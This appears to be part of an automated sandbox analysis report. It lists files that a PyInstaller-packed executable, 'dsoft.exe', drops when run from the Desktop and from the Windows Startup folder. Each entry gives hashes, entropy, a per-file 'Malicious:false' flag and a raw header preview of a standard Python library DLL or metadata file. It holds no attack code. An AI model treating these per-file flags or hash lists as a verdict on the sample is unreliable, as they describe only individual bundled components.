                                                                                                                                                                                                                                        Preview:_distutils_hack/__init__.py,sha256=TSekhUW1fdE3rjU3b88ybSBkJxCEpIeWBob4cEuU3ko,6128.._distutils_hack/__pycache__/__init__.cpython-310.pyc,,.._distutils_hack/__pycache__/override.cpython-310.pyc,,.._distutils_hack/override.py,sha256=Eu_s-NF6VIZ4Cqd0tbbA5wtWky2IZPNd8et6GLt1mzo,44..distutils-precedence.pth,sha256=JjjOniUA5XKl4N5_rtZmHrVp0baW_LoHsN0iPaX10iQ,151..pkg_resources/__init__.py,sha256=fT5Y3P1tcSX8sJomClUU10WHeFmvqyNZM4UZHzdpAvg,108568..pkg_resources/__pycache__/__init__.cpython-310.pyc,,..pkg_resources/_vendor/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..pkg_resources/_vendor/__pycache__/__init__.cpython-310.pyc,,..pkg_resources/_vendor/__pycache__/appdirs.cpython-310.pyc,,..pkg_resources/_vendor/__pycache__/zipp.cpython-310.pyc,,..pkg_resources/_vendor/appdirs.py,sha256=MievUEuv3l_mQISH5SF0shDk_BNhHHzYiAPrT3ITN4I,24701..pkg_resources/_vendor/importlib_resources/__init__.py,sha256=evPm12kLgYqTm-pbzm60bOuumumT8IpBNWFp0uMyrzE,506..pkg_resources/_vendor/importli

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\setuptools-65.5.0.dist-info\WHEEL

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:ASCII text
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):92
                                                                                                                                                                                                                                        Entropy (8bit):4.820827594031884
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:RtEeX7MWcSlViZHKRRP+tPCCfA5S:RtBMwlViojWBBf
                                                                                                                                                                                                                                        MD5:4D57030133E279CEB6A8236264823DFD
                                                                                                                                                                                                                                        SHA1:0FDC3988857C560E55D6C36DCC56EE21A51C196D
                                                                                                                                                                                                                                        SHA-256:1B5E87E00DC87A84269CEAD8578B9E6462928E18A95F1F3373C9EEF451A5BCC0
                                                                                                                                                                                                                                        SHA-512:CD98F2A416AC1B13BA82AF073D0819C0EA7C095079143CAB83037D48E9A5450D410DC5CF6B6CFF3F719544EDF1C5F0C7E32E87B746F1C04FE56FAFD614B39826
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:Wheel-Version: 1.0.Generator: bdist_wheel (0.37.1).Root-Is-Purelib: true.Tag: py3-none-any..

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\setuptools-65.5.0.dist-info\entry_points.txt

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:ASCII text
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):2740
                                                                                                                                                                                                                                        Entropy (8bit):4.540737240939103
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:48:lELcZDy3g6ySDsm90rZh2Phv4hhpTqTog:yLAP8arZoP94hTTqcg
                                                                                                                                                                                                                                        MD5:D3262B65DB35BFFAAC248075345A266C
                                                                                                                                                                                                                                        SHA1:93AD6FE5A696252B9DEF334D182432CDA2237D1D
                                                                                                                                                                                                                                        SHA-256:DEC880BB89189B5C9B1491C9EE8A2AA57E53016EF41A2B69F5D71D1C2FBB0453
                                                                                                                                                                                                                                        SHA-512:1726750B22A645F5537C20ADDF23E3D3BAD851CD4BDBA0F9666F9F6B0DC848F9919D7AF8AD8847BD4F18D0F8585DDE51AFBAE6A4CAD75008C3210D17241E0291
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:[distutils.commands].alias = setuptools.command.alias:alias.bdist_egg = setuptools.command.bdist_egg:bdist_egg.bdist_rpm = setuptools.command.bdist_rpm:bdist_rpm.build = setuptools.command.build:build.build_clib = setuptools.command.build_clib:build_clib.build_ext = setuptools.command.build_ext:build_ext.build_py = setuptools.command.build_py:build_py.develop = setuptools.command.develop:develop.dist_info = setuptools.command.dist_info:dist_info.easy_install = setuptools.command.easy_install:easy_install.editable_wheel = setuptools.command.editable_wheel:editable_wheel.egg_info = setuptools.command.egg_info:egg_info.install = setuptools.command.install:install.install_egg_info = setuptools.command.install_egg_info:install_egg_info.install_lib = setuptools.command.install_lib:install_lib.install_scripts = setuptools.command.install_scripts:install_scripts.rotate = setuptools.command.rotate:rotate.saveopts = setuptools.command.saveopts:saveopts.sdist = setuptools.command.sdist:sdist.seto

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\setuptools-65.5.0.dist-info\top_level.txt

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:ASCII text
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):41
                                                                                                                                                                                                                                        Entropy (8bit):3.9115956018096876
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:3Wd+Nt8AfQYv:3Wd+Nttv
                                                                                                                                                                                                                                        MD5:789A691C859DEA4BB010D18728BAD148
                                                                                                                                                                                                                                        SHA1:AEF2CBCCC6A9A8F43E4E150E7FCF1D7B03F0E249
                                                                                                                                                                                                                                        SHA-256:77DC8BDFDBFF5BBAA62830D21FAB13E1B1348FF2ECD4CDCFD7AD4E1A076C9B88
                                                                                                                                                                                                                                        SHA-512:BC2F7CAAD486EB056CB9F68E6C040D448788C3210FF028397CD9AF1277D0051746CAE58EB172F9E73EA731A65B2076C6091C10BCB54D911A7B09767AA6279EF6
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:_distutils_hack.pkg_resources.setuptools.

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\sqlite3.dll

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):1473912
                                                                                                                                                                                                                                        Entropy (8bit):6.572390758739341
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:24576:7nFjRWofXcFcdEKl+89yJ30SQUhXF7TuR7MNdRIxsg8xqh:77X6K080J30nUhXF7TuR7rxV8Y
                                                                                                                                                                                                                                        MD5:AAF9FD98BC2161AD7DFF996450173A3B
                                                                                                                                                                                                                                        SHA1:AB634C09B60AA18EA165084A042D917B65D1FE85
                                                                                                                                                                                                                                        SHA-256:F1E8B6C4D61AC6A320FA2566DA9391FBFD65A5AC34AC2E2013BC37C8B7B41592
                                                                                                                                                                                                                                        SHA-512:597FFE3C2F0966AB94FBB7ECAC27160C691F4A07332311F6A9BAF8DEC8B16FB16EC64DF734C3BDBABF2C0328699E234D14F1B8BD5AC951782D35EA0C78899E5F
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......CG;..&U..&U..&U..^..&U.HZT..&U.HZP..&U.HZQ..&U.HZV..&U..TT..&U..&T..&U..Z]..&U..ZU..&U..Z...&U..ZW..&U.Rich.&U.................PE..d...X..c.........." ...".f..........lj..............................................Nw....`.............................................d"..$3.......................T..x).......... ...T...............................@...............(............................text...8e.......f.................. ..`.rdata...............j..............@..@.data....G...P...>...,..............@....pdata...............j..............@..@.rsrc................<..............@..@.reloc...............F..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\unicodedata.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):1122176
                                                                                                                                                                                                                                        Entropy (8bit):5.381221577408984
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:6DYYMmuZ63NIQCb5Pfhnzr0ql8L8kXM7IRG5eeme6VZyrIBHdQLhfFE+uAM:gYYuLZV0m8vMMREtV6Vo4uYAM
                                                                                                                                                                                                                                        MD5:4C8AF8A30813E9380F5F54309325D6B8
                                                                                                                                                                                                                                        SHA1:169A80D8923FB28F89BC26EBF89FFE37F8545C88
                                                                                                                                                                                                                                        SHA-256:4B6E3BA734C15EC789B5D7469A5097BD082BDFD8E55E636DED0D097CF6511E05
                                                                                                                                                                                                                                        SHA-512:EA127779901B10953A2BF9233E20A4FAB2FBA6F97D7BAF40C1B314B7CD03549E0F4D2FB9BAD0FBC23736E21EB391A418D79A51D64402245C1CD8899E4D765C5A
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......0...t..t..t..}...r..;...v..;...y..;...|..;...w.....w......v..t..%.....u.....u...y.u.....u..Richt..........PE..d...(..c.........." ...".B..........@*.......................................@......4.....`.............................................X............ ..........<........)...0...... b..T............................`..@............`..x............................text...gA.......B.................. ..`.rdata.......`.......F..............@..@.data...............................@....pdata..<...........................@..@.rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\win32\_win32sysloader.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):14848
                                                                                                                                                                                                                                        Entropy (8bit):5.112106937352672
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:lGCm72PEO1jIUs0YqEcPbF55UgCWV4rofnbPmitE255qDLWn7ycLmrO/:8ardA0Bzx14r6nbN50W9/
                                                                                                                                                                                                                                        MD5:F9C9445BE13026F8DB777E2BBC26651D
                                                                                                                                                                                                                                        SHA1:E1D58C30E94B00B32AD1E9B806465643F4AFE980
                                                                                                                                                                                                                                        SHA-256:C953DB1F67BBD92114531FF44EE4D76492FDD3CF608DA57D5C04E4FE4FDD1B96
                                                                                                                                                                                                                                        SHA-512:587D9E8521C246865E16695E372A1675CFBC324E6258DD03479892D3238F634138EBB56985ED34E0C8C964C1AB75313182A4E687B598BB09C07FC143B506E9A8
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......tSf.02..02..02..9J..22..bG..22..$Y..22..bG..;2..bG..82..bG..32..[..32..02...2...G..12...G..12...G..12..Rich02..................PE..d......d.........." ......................................................................`..........................................;..`...`;..d....p..t....`..................@...|2..T............................2..8............0..p............................text............................... ..`.rdata..$....0......................@..@.data........P......................@....pdata.......`.......0..............@..@.rsrc...t....p.......4..............@..@.reloc..@............8..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\win32\win32api.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):133632
                                                                                                                                                                                                                                        Entropy (8bit):5.849731189887005
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:l2J5loMoEg9enX4oD8cdf0nlRVFhLaNKP/IyymuqCyqJhe:cblovEgqXHdfqlRVlP/IyzCyy
                                                                                                                                                                                                                                        MD5:00E5DA545C6A4979A6577F8F091E85E1
                                                                                                                                                                                                                                        SHA1:A31A2C85E272234584DACF36F405D102D9C43C05
                                                                                                                                                                                                                                        SHA-256:AC483D60A565CC9CBF91A6F37EA516B2162A45D255888D50FBBB7E5FF12086EE
                                                                                                                                                                                                                                        SHA-512:9E4F834F56007F84E8B4EC1C16FB916E68C3BAADAB1A3F6B82FAF5360C57697DC69BE86F3C2EA6E30F95E7C32413BABBE5D29422D559C99E6CF4242357A85F31
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X.uV....................N.......N.......N.......................N...................J...........................Rich............PE..d......d.........." .........................................................P............`..........................................................0..\....................@..$....v..T............................<..8............0..........@....................text............................... ..`.rdata......0......................@..@.data...x(......."..................@....pdata..............................@..@.rsrc...\....0......................@..@.reloc..$....@......................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\win32\win32trace.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):23552
                                                                                                                                                                                                                                        Entropy (8bit):5.279236779449316
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:peeH8ZmV+zknwMsADuVLw0T8DmrRl2j9BfEAZnpC9QJQ1BA:5+zi/uVDS9dl6pB
                                                                                                                                                                                                                                        MD5:B291ADAB2446DA62F93369A0DD662076
                                                                                                                                                                                                                                        SHA1:A6B6C1054C1F511C64AEFB5F6C031AFE553E70F0
                                                                                                                                                                                                                                        SHA-256:C5AD56E205530780326BD1081E94B212C65082B58E0F69788E3DC60EFFBD6410
                                                                                                                                                                                                                                        SHA-512:847CC9E82B9939DBDC58BFA3E5A9899D614642E0B07CF1508AA866CD69E4AD8C905DBF810A045D225E6C364E1D9F2A45006F0EB0895BCD5AAF9D81EE344D4AEA
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........*U@qD.@qD.@qD.I...DqD...E.BqD...A.JqD...@.HqD...G.CqD...E.BqD...E.BqD.T.E.EqD.@qE..qD...M.AqD...D.AqD...F.AqD.Rich@qD.................PE..d......d.........." .....,...,.......(....................................................`..........................................Q..T...dQ..........d....p.......................G..T...........................0H..8............@...............................text....*.......,.................. ..`.rdata.......@.......0..............@..@.data...(....`.......L..............@....pdata.......p.......R..............@..@.rsrc...d............V..............@..@.reloc...............Z..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI22482\win32com\shell\shell.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):527872
                                                                                                                                                                                                                                        Entropy (8bit):6.165923585421349
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:bXtpsewPjUA2jGZ90SmgopJgUCBKw84O3Rpd0K1VS0cTZdxi2y3:bXtp5sIAN90pleK1VSXXi2g
                                                                                                                                                                                                                                        MD5:C2E1B245D4221BDA4C198CF18D9CA6AF
                                                                                                                                                                                                                                        SHA1:9682B6E966495F7B58255348563A86C63FBD488C
                                                                                                                                                                                                                                        SHA-256:89A8651DAD701DCE6B42B0E20C18B07DF6D08A341123659E05381EE796D23858
                                                                                                                                                                                                                                        SHA-512:C2F57E9303D37547671E40086DDAD4B1FC31C52D43994CFCEC974B259125E125C644873073F216F28066BB0C213CBEB1B9A3C149727C9F1BC50F198AC45A4C8A
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......M................).....[......[......[......[...................................................O.................Rich............................PE..d...(..d.........." ....."..........t.....................................................`.............................................L...............L.......xx...............!......T..............................8............@...............................text...^!.......".................. ..`.rdata.......@.......&..............@..@.data...@....0...^..................@....pdata..xx.......z...n..............@..@.rsrc...L...........................@..@.reloc...!......."..................@..B................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_ARC4.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):11264
                                                                                                                                                                                                                                        Entropy (8bit):4.6989965032233245
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:96:v9VD9daQ2iTrqT+y/ThvQ0I1uLfcC75JiC4Rs89EcYyGDPM0OcX6gY/7ECFV:39damqT3ThITst0E5DPKcqgY/79X
                                                                                                                                                                                                                                        MD5:56976443600793FF2302EE7634E496B3
                                                                                                                                                                                                                                        SHA1:018CE9250732A1794BBD0BDB8164061022B067AA
                                                                                                                                                                                                                                        SHA-256:10F461A94C3D616C19FF1A88DEC1EFEA5194F7150F5D490B38AC4E1B31F673DD
                                                                                                                                                                                                                                        SHA-512:A764C636D5D0B878B91DC61485E8699D7AA36F09AA1F0BD6AF33A8652098F28AEB3D7055008E56EBFC012BD3EA0868242A72E44DED0C83926F13D16866C31415
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........."...L...L...L......L.q.M...L..M...L...M...L.q.I...L.q.H...L.q.O...L...D...L...L...L.......L...N...L.Rich..L.........PE..d....y.e.........." ...#............P........................................p............`.........................................P(.......(..d....P.......@...............`..,...."...............................!..@............ ...............................text............................... ..`.rdata..,.... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......(..............@..@.reloc..,....`.......*..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_Salsa20.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):13824
                                                                                                                                                                                                                                        Entropy (8bit):5.047528837102683
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:SF/1nb2eqCQtkluknuz4ceS4QDuEA7cqgYvEP:o2P6luLtn4QDHmgYvEP
                                                                                                                                                                                                                                        MD5:30F13366926DDC878B6D761BEC41879E
                                                                                                                                                                                                                                        SHA1:4B98075CCBF72A6CBF882B6C5CADEF8DC6EC91DB
                                                                                                                                                                                                                                        SHA-256:19D5F8081552A8AAFE901601D1FF5C054869308CEF92D03BCBE7BD2BB1291F23
                                                                                                                                                                                                                                        SHA-512:BDCEC85915AB6EC1D37C1D36B075AE2E69AA638B80CD08971D5FDFD9474B4D1CF442ABF8E93AA991F5A8DCF6DB9D79FB67A9FE7148581E6910D9C952A5E166B4
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#............P.....................................................`..........................................8.......9..d....`.......P..L............p..,....3...............................1..@............0...............................text...h........................... ..`.rdata.......0......................@..@.data...8....@.......,..............@....pdata..L....P......................@..@.rsrc........`.......2..............@..@.reloc..,....p.......4..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_chacha20.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):13312
                                                                                                                                                                                                                                        Entropy (8bit):5.0513840905718395
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:7XF/1nb2eqCQtkXnFYIrWjz0YgWDbu5Do0vdvZt49lkVcqgYvEMN:L2P6XTr0zXgWDbui0vdvZt49MgYvEMN
                                                                                                                                                                                                                                        MD5:CDF7D583B5C0150455BD3DAD43A6BF9B
                                                                                                                                                                                                                                        SHA1:9EE9B033892BEB0E9641A67F456975A78122E4FA
                                                                                                                                                                                                                                        SHA-256:4CA725A1CB10672EE5666ED2B18E926CAAE1A8D8722C14AB3BE2D84BABF646F6
                                                                                                                                                                                                                                        SHA-512:96123559D21A61B144E2989F96F16786C4E94E5FA4DDA0C018EAA7FEFFA61DD6F0ADFA9815DF9D224CDEBE2E7849376D2A79D5A0F51A7F3327A2FAA0A444CE9C
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\Y..2...2...2......2.i.3...2...3...2...3...2.i.7...2.i.6...2.i.1...2...:...2...2...2.......2...0...2.Rich..2.........PE..d....y.e.........." ...#............P.....................................................`..........................................8.......9..d....`.......P..d............p..,....2...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......*..............@....pdata..d....P.......,..............@..@.rsrc........`.......0..............@..@.reloc..,....p.......2..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_pkcs1_decode.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):12800
                                                                                                                                                                                                                                        Entropy (8bit):5.1050594710160535
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:96:/PTF1siKeai1dqmJo0qVVLf/+NJSC6sc9kJ9oPobXXXP4IIYOxDmO8jcX6gRth2h:/LsiHfq5poUkJ97zIDmOucqgRvE
                                                                                                                                                                                                                                        MD5:7918BFE07DCB7AD21822DBAAA777566D
                                                                                                                                                                                                                                        SHA1:964F5B172759538C4E9E9131CE4BB39885D79842
                                                                                                                                                                                                                                        SHA-256:C00840D02ADA7031D294B1AB94A5F630C813AAE6897F18DD66C731F56931868E
                                                                                                                                                                                                                                        SHA-512:D4A05AB632D4F0EB0ED505D803F6A5C0DBE5117D12BA001CE820674903209F7249B690618555F9C061DB58BED1E03BE58AD5D5FE3BC35FC96DF27635639ABF25
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............l...l...l......l.q.m...l..m...l...m...l.q.i...l.q.h...l.q.o...l...d...l...l...l.......l...n...l.Rich..l.................PE..d....y.e.........." ...#............P.....................................................`.........................................P8..p....8..d....`.......P...............p..,....3...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...h....@.......*..............@....pdata.......P.......,..............@..@.rsrc........`......................@..@.reloc..,....p.......0..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_aes.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):36352
                                                                                                                                                                                                                                        Entropy (8bit):6.55587798283519
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:384:Of+7nYpPMedFDlDchrVX1mEVmT9ZgkoD/PKDkGuF0U390QOo8VdbKBWmuTLg4HPy:WqWB7YJlmLJ3oD/S4j990th9VTsC
                                                                                                                                                                                                                                        MD5:4B032DA3C65EA0CFBDEB8610C4298C51
                                                                                                                                                                                                                                        SHA1:541F9F8D428F4518F96D44BB1037BC348EAE54CF
                                                                                                                                                                                                                                        SHA-256:4AEF77E1359439748E6D3DB1ADB531CF86F4E1A8E437CCD06E8414E83CA28900
                                                                                                                                                                                                                                        SHA-512:2667BF25FD3BF81374750B43AFC5AEFF839EC1FF6DFC3FDD662F1D34A5924F69FC513EA3CD310991F85902A19ADA8B58DED9A9ED7B5D631563F62EA7F2624102
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........."...L...L...L......L.q.M...L..M...L...M...L.q.I...L.q.H...L.q.O...L...D...L...L...L.......L...N...L.Rich..L.........PE..d....y.e.........." ...#.H...H......P.....................................................`.................................................,...d...............................4... ...................................@............`...............................text....F.......H.................. ..`.rdata..d6...`...8...L..............@..@.data...8...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..4...........................@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_aesni.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):15872
                                                                                                                                                                                                                                        Entropy (8bit):5.2919328525651945
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:oJBjJPqZkEPYinXKccxrEWx4xLquhS3WQ67EIfD4A1ccqgwYUMvEW:6URwin7mrEYCLEGd7/fDnwgwYUMvE
                                                                                                                                                                                                                                        MD5:57E4DF965E41B1F385B02F00EA08AE20
                                                                                                                                                                                                                                        SHA1:583B08C3FC312C8943FECDDD67D6D0A5FC2FF98B
                                                                                                                                                                                                                                        SHA-256:3F64DFFEC486DCF9A2E80CB9D96251B98F08795D5922D43FB69F0A5AC2340FC2
                                                                                                                                                                                                                                        SHA-512:48C3F78AF4E35BFEF3B0023A8039CF83E6B2E496845A11B7A2C2FA8BB62C7CCDE52158D4D37755584716220C34BBF379ECE7F8E3439B009AD099B1890B42A3D9
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........|X...................i.......................i.......i.......i.......................................Rich....................PE..d....y.e.........." ...#. ... ......P.....................................................`..........................................9......D:..d....`.......P...............p..,....3...............................1..@............0.. ............................text............ .................. ..`.rdata.......0.......$..............@..@.data...(....@.......4..............@....pdata.......P.......6..............@..@.rsrc........`.......:..............@..@.reloc..,....p.......<..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\_MEI69562\Crypto\Cipher\_raw_arc2.pyd

                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\dsoft.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):16384
                                                                                                                                                                                                                                        Entropy (8bit):5.565187477275172
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:192:MeDd9Vk3yQ5f8vjVKChhXoJDkq6NS7oE2DDHlWw2XpmdcqgwNeecBU8:1k/5cj4shXED+o2Du8zgwNeO8
                                                                                                                                                                                                                                        MD5:F9C93FA6CA17FDF4FF2F13176684FD6C
                                                                                                                                                                                                                                        SHA1:6B6422B4CAF157147F7C0DD4B4BAB2374BE31502
                                                                                                                                                                                                                                        SHA-256:E9AEBB6F17BA05603E0763DFF1A91CE9D175C61C1C2E80F0881A0DEE8CFFBE3A
                                                                                                                                                                                                                                        SHA-512:09843E40E0D861A2DEE97320779C603550433BC9AB9402052EA284C6C74909E17CE0F6D3FDBA983F5EB6E120E2FE0C2B087420E138760BB0716D2999C10935C1
                                                                                                                                                                                                                                        Malicious:false
